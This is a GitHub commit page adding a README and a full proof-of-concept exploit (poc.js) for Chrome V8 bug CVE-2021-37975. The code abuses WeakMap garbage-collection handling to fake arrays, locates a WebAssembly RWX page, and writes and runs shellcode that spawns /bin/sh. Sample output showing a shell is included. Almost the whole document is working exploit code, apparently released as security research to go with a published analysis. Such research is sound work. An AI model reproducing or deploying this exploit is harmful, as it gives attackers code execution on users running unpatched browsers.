Skip to content

Commit c1022ab

Browse files
committed
Initial commit
1 parent a965cb7 commit c1022ab

2 files changed

Lines changed: 332 additions & 0 deletions

File tree

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
## Chrome in-the-wild bug CVE-2021-37975
2+
3+
The analysis of this bug can be found [here](https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975). This is a Chrome bug that is reported by an anonymous researcher and was believed to be exploited in the wild.
4+
5+
The exploit here is tested on `v8` version 9.4.146.16 (commit `452f57b`), which is the version shipped with Chrome 94.0.4606.71, the one before the bug is fixed, on Ubuntu 20.04. Tested on two different devices with different specs.
6+
7+
To test, check out `v8` at commit `452f57b` and compile with the default settings using `tools/dev/gm.py x64.release`. Then open the file `poc.js` with `d8`:
8+
9+
```
10+
./d8 poc.js
11+
```
12+
13+
On Ubuntu 20.04, it should call `execve("/bin/sh")` to spawn a new process:
14+
15+
```
16+
./d8 poc.js
17+
fail to find object address.
18+
fail to find object address.
19+
fail to find object address.
20+
fetch failed
21+
fail to find object address.
22+
fail to find object address.
23+
fetch failed
24+
fail to find object address.
25+
fail to find object address.
26+
fail to find object address.
27+
fail to find object address.
28+
fail to find object address.
29+
fail to find object address.
30+
fail to find object address.
31+
fail to find object address.
32+
fail to find object address.
33+
fail to find object address.
34+
found instance address: 0x81d40f5 at index: 0
35+
array address: 0x804294d
36+
array element address: 0x8042935
37+
fake array at: 8 index: 0
38+
rwx address at: 0x28c7931bc000
39+
fake array at: 8 index: 1
40+
rwx address at: 0x28c7931bc000
41+
shellArray addr: 0x8048d75
42+
$
43+
```
44+
45+
Shell code may need changing on other platforms.
46+
47+
The exploit is not reliable, (probably about 50 percent success rate). The variable `gcSize` may need changing depending on the device, and the variable `mapAddr` also depends on the version of v8 (it is an offset).
Lines changed: 285 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,285 @@
1+
function sleep(miliseconds) {
2+
var currentTime = new Date().getTime();
3+
while (currentTime + miliseconds >= new Date().getTime()) {
4+
}
5+
}
6+
7+
var initKey = {init : 1};
8+
var level = 4;
9+
var map1 = new WeakMap();
10+
var gcSize = 0x4fe00000;
11+
12+
//Get mapAddr using DebugPrint for double array (the compressed address of the map)
13+
var mapAddr = 0x8203ae1;
14+
15+
var rwxOffset = 0x60;
16+
17+
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
18+
var module = new WebAssembly.Module(code);
19+
var instance = new WebAssembly.Instance(module);
20+
var wasmMain = instance.exports.main;
21+
22+
//Return values should be deleted/out of scope when gc happen, so they are not directly reachable in gc
23+
function hideWeakMap(map, level, initKey) {
24+
let prevMap = map;
25+
let prevKey = initKey;
26+
for (let i = 0; i < level; i++) {
27+
let thisMap = new WeakMap();
28+
prevMap.set(prevKey, thisMap);
29+
let thisKey = {'h' : i};
30+
//make thisKey reachable via prevKey
31+
thisMap.set(prevKey, thisKey);
32+
prevMap = thisMap;
33+
prevKey = thisKey;
34+
if (i == level - 1) {
35+
let retMap = new WeakMap();
36+
map.set(thisKey, retMap);
37+
return thisKey;
38+
}
39+
}
40+
}
41+
//Get the key for the hidden map, the return key is reachable as strong ref via weak maps, but should not be directly reachable when gc happens
42+
function getHiddenKey(map, level, initKey) {
43+
let prevMap = map;
44+
let prevKey = initKey;
45+
for (let i = 0; i < level; i++) {
46+
let thisMap = prevMap.get(prevKey);
47+
let thisKey = thisMap.get(prevKey);
48+
prevMap = thisMap;
49+
prevKey = thisKey;
50+
if (i == level - 1) {
51+
return thisKey;
52+
}
53+
}
54+
}
55+
56+
function setUpWeakMap(map) {
57+
// for (let i = 0; i < 1000; i++) new Array(300);
58+
//Create deep enough weak ref trees to hiddenMap so it doesn't get discovered by concurrent marking
59+
let hk = hideWeakMap(map, level, initKey);
60+
//Round 1 maps
61+
let hiddenMap = map.get(hk);
62+
let map7 = new WeakMap();
63+
let map8 = new WeakMap();
64+
65+
//hk->k5, k5: discover->wl
66+
let k5 = {k5 : 1};
67+
let map5 = new WeakMap();
68+
let k7 = {k7 : 1};
69+
let k9 = {k9 : 1};
70+
let k8 = {k8 : 1};
71+
let ta = new Uint8Array(1024);
72+
ta.fill(0xfe);
73+
let larr = new Array(1 << 15);
74+
larr.fill(1.1);
75+
let v9 = {ta : ta, larr : larr};
76+
map.set(k7, map7);
77+
map.set(k9, v9);
78+
79+
//map3 : kb|vb: initial discovery ->wl
80+
hiddenMap.set(k5, map5);
81+
hiddenMap.set(hk, k5);
82+
83+
//iter2: wl: discover map5, mark v6 (->k5) black, discovery: k5 black -> wl
84+
//iter3: wl: map5 : mark map7, k7, no discovery, iter end
85+
map5.set(hk, k7);
86+
87+
//Round 2: map5 becomes kb in current, initial state: k7, map7 (black), goes into wl
88+
//iter1
89+
90+
//wl discovers map8, and mark k8 black
91+
map7.set(k8, map8);
92+
map7.set(k7, k8);
93+
94+
//discovery moves k8, map8 into wl
95+
//iter2 marks k9 black, iter finished
96+
map8.set(k8,k9);
97+
98+
}
99+
var view = new ArrayBuffer(24);
100+
var dblArr = new Float64Array(view);
101+
var intView = new Int32Array(view);
102+
var bigIntView = new BigInt64Array(view);
103+
104+
function ftoi32(f) {
105+
dblArr[0] = f;
106+
return [intView[0], intView[1]];
107+
}
108+
109+
function i32tof(i1, i2) {
110+
intView[0] = i1;
111+
intView[1] = i2;
112+
return dblArr[0];
113+
}
114+
115+
function itof(i) {
116+
bigIntView = BigInt(i);
117+
return dblArr[0];
118+
}
119+
120+
function ftoi(f) {
121+
dblArr[0] = f;
122+
return bigIntView[0];
123+
}
124+
125+
function gc() {
126+
//trigger major GC: See https://tiszka.com/blog/CVE_2021_21225_exploit.html (Trick #2: Triggering Major GC without spraying the heap)
127+
new ArrayBuffer(gcSize);
128+
}
129+
130+
function restart() {
131+
//Should deopt main if it gets optimized
132+
global.__proto__ = {};
133+
gc();
134+
sleep(2000);
135+
main();
136+
}
137+
138+
function main() {
139+
setUpWeakMap(map1);
140+
gc();
141+
142+
let objArr = [];
143+
144+
for (let i = 0; i < 200; i++) {
145+
let thisArr = new Array(1 << 15);
146+
objArr.push(thisArr);
147+
}
148+
//These are there to stop main being optimized by JIT
149+
globalIdx['a' + globalIdx] = 1;
150+
let obj = [1.1,1.1,1.1];
151+
//Can't refactor this, looks like it cause some double rounding problem (got optimized?)
152+
for (let i = 0; i < objArr.length; i++) {
153+
let thisArr = objArr[i];
154+
thisArr.fill(instance);
155+
}
156+
globalIdx['a' + globalIdx + 1000] = 1;
157+
let result = null;
158+
try {
159+
result = fetch();
160+
} catch (e) {
161+
console.log("fetch failed");
162+
restart();
163+
return;
164+
}
165+
if (!result) {
166+
console.log("fail to find object address.");
167+
restart();
168+
return;
169+
}
170+
171+
let larr = result.larr;
172+
let index = result.idx;
173+
174+
let instanceAddr = ftoi32(larr[index])[0];
175+
console.log("found instance address: 0x" + instanceAddr.toString(16) + " at index: " + index);
176+
for (let i = 0; i < objArr.length; i++) {
177+
let thisArr = objArr[i];
178+
thisArr.fill(obj);
179+
}
180+
globalIdx['a' + globalIdx + 2000] = 1;
181+
182+
let addr = ftoi32(larr[index])[0];
183+
let objEleAddr = addr - 0x20 + 0x8;
184+
let floatAddr = i32tof(objEleAddr, objEleAddr);
185+
let floatMapAddr = i32tof(mapAddr, mapAddr);
186+
//Faking an array at using obj[0] and obj[1]
187+
obj[0] = floatMapAddr;
188+
let eleLength = i32tof(instanceAddr + rwxOffset, 10);
189+
190+
obj[1] = eleLength;
191+
192+
larr[index] = floatAddr;
193+
194+
console.log("array address: 0x" + addr.toString(16));
195+
console.log("array element address: 0x" + objEleAddr.toString(16));
196+
197+
let rwxAddr = 0;
198+
let objArrIdx = -1;
199+
let thisArrIdx = -1;
200+
for (let i = 0; i < objArr.length; i++) {
201+
globalIdx['a' + globalIdx + 3000] = 1;
202+
global.__proto__ = {};
203+
let thisArr = objArr[i];
204+
for (let j = 0; j < thisArr.length; j++) {
205+
let thisObj = thisArr[j];
206+
if (thisObj != obj) {
207+
console.log("fake array at: " + i + " index: " + j);
208+
objArrIdx = i;
209+
thisArrIdx = j;
210+
if (!(thisObj instanceof Array)) {
211+
console.log("failed getting fake array.");
212+
restart();
213+
return;
214+
}
215+
rwxAddr = thisObj[0];
216+
console.log("rwx address at: 0x" + ftoi(rwxAddr).toString(16));
217+
}
218+
}
219+
}
220+
globalIdx['a' + globalIdx + 4000] = 1;
221+
222+
if (rwxAddr == 0) {
223+
console.log("failed getting rwx address.");
224+
restart();
225+
return;
226+
}
227+
228+
//Read shellArray address
229+
let shellArray = new Uint8Array(100);
230+
let thisArr = objArr[objArrIdx];
231+
thisArr.fill(shellArray);
232+
233+
let shellAddr = ftoi32(larr[index])[0];
234+
console.log("shellArray addr: 0x" + shellAddr.toString(16));
235+
obj[1] = i32tof(shellAddr + 0x20, 10);
236+
//Place fake array back into objArr[objArrIdx][thisArrIdx]
237+
larr[index] = floatAddr;
238+
let fakeArray = objArr[objArrIdx][thisArrIdx];
239+
fakeArray[0] = rwxAddr;
240+
var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
241+
for (let i = 0; i < shellCode.length; i++) {
242+
shellArray[i] = shellCode[i];
243+
}
244+
wasmMain();
245+
}
246+
247+
function findTA(ta) {
248+
let found = false;
249+
for (let i = 0; i < 16; i++) {
250+
if (ta[i] != 0xfe) {
251+
console.log(ta[i]);
252+
return true;
253+
}
254+
}
255+
console.log(ta[0]);
256+
return found;
257+
}
258+
259+
function findLArr(larr) {
260+
for (let i = 0; i < (1 << 15); i++) {
261+
if (larr[i] != 1.1) {
262+
let addr = ftoi32(larr[i]);
263+
return i;
264+
}
265+
}
266+
return -1;
267+
}
268+
269+
function fetch() {
270+
let hiddenKey = getHiddenKey(map1, level, initKey);
271+
let hiddenMap = map1.get(hiddenKey);
272+
let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
273+
let k8 = map1.get(k7).get(k7);
274+
let map8 = map1.get(k7).get(k8);
275+
276+
let larr = map1.get(map8.get(k8)).larr;
277+
let index = findLArr(larr);
278+
if (index == -1) {
279+
return;
280+
}
281+
return {larr : larr, idx : index};
282+
}
283+
global = {};
284+
globalIdx = 0;
285+
main();

0 commit comments

Comments
 (0)